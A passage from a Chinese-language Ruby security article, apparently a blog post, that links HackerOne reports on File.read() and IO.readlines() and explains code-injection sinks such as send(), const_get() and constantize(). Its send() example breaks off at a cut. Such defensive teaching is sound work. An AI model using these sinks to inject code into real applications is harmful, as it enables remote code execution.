0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/1158824" target="_blank">https://hackerone.com/reports/1158824</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/294462" target="_blank">https://hackerone.com/reports/294462</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">File.read()函数引发的Ruby安全问题：</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/449482" target="_blank">https://hackerone.com/reports/449482</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">IO.readlines()函数引发的潜在Ruby安全问题，笔者发现，已被忽略：</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/1090678" target="_blank">https://hackerone.com/reports/1090678</a></span></p><h4 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">代码注入漏洞</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h4><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">代码注入漏洞一般是由于把外部数据传入eval()类函数中执行，导致程序可以执行任意代码。Ruby除了支持eval()，还支持class_eval()、instance_eval()函数执行代码，区别在于执行代码的上下文环境不同。eval()函数导致的代码注入问题与其他语言类似，不再赘述。</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Ruby除了eval()、class_eval()、instance_eval()函数，还存在其他可以执行代码的函数：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">send()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">__send__()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">public_send()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">const_get()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">constantize()</span></section></li></ul><h5 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">send()函数</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h5><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">send()函数是Ruby用来调用符号方法的函数，可以将任何指定的参数传递给它，类似JAVA中的invoke函数，不过它更为灵活，可以接收外部变量，举例：</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">class</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Klass</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">def</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">hello</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">*</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">args</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">puts</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;Hello
&#34;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:
Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> + </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#9CDCFE;mso-font-kerning:0pt;">args</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">join</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39; &#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">k</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Klass</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">new</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">k</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">send</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:hello</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;gentle&#34;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;readers&#34;</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#6A9955;mso-font-kerning:0pt;">#=&gt;
&#34;Hello gentle readers&#34;</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">上述代码中，实例k通过send动态调用了hello办法，假如hello字符串来自外部，便可以传入eval，注入恶意代码，举例：</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">class</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Klass</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">def</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">hello</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">*</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">args</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">puts</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;Hello
&#34;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:
Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> + </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#9CDCFE;mso-font-kerning:0pt;">args</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">join</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39; &#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">k</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Klass</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">new</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">k</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
